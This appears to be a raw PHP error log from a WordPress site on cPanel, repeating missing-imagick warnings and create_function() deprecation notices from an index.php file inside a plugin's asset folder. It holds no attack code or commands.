'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:55:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 00:56:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 00:56:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 01:22:39 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 01:22:39 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 02:23:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 02:23:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 03:25:01 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 03:25:01 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 04:25:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 04:25:51 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 05:26:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 05:26:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:26:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:26:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:42:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:42:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:42:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:42:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:44:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:44:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:45:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:45:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:46:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:46:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:53:05 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:53:05 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:54:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:54:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:55:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:55:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:55:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:55:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:56:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:56:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:56:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:56:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:56:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:56:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:57:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:57:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:57:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:57:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:58:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:58:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 06:59:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 06:59:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 07:27:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 07:27:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 08:28:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 08:28:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 09:28:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 09:28:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 10:29:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 10:29:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 11:29:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 11:29:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:26:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:26:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:27:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:27:00 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:27:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:27:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:28:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:28:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:28:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:28:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:28:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:28:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:29:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:29:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:30:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:30:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:31:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:31:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:31:29 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:31:29 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:32:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:32:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:33:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:33:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:33:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:33:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:34:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:34:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:36:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:36:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:36:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:36:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:37:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:37:11 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 12:38:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [12-Jun-2023 12:38:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [12-Jun-2023 13:31:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so 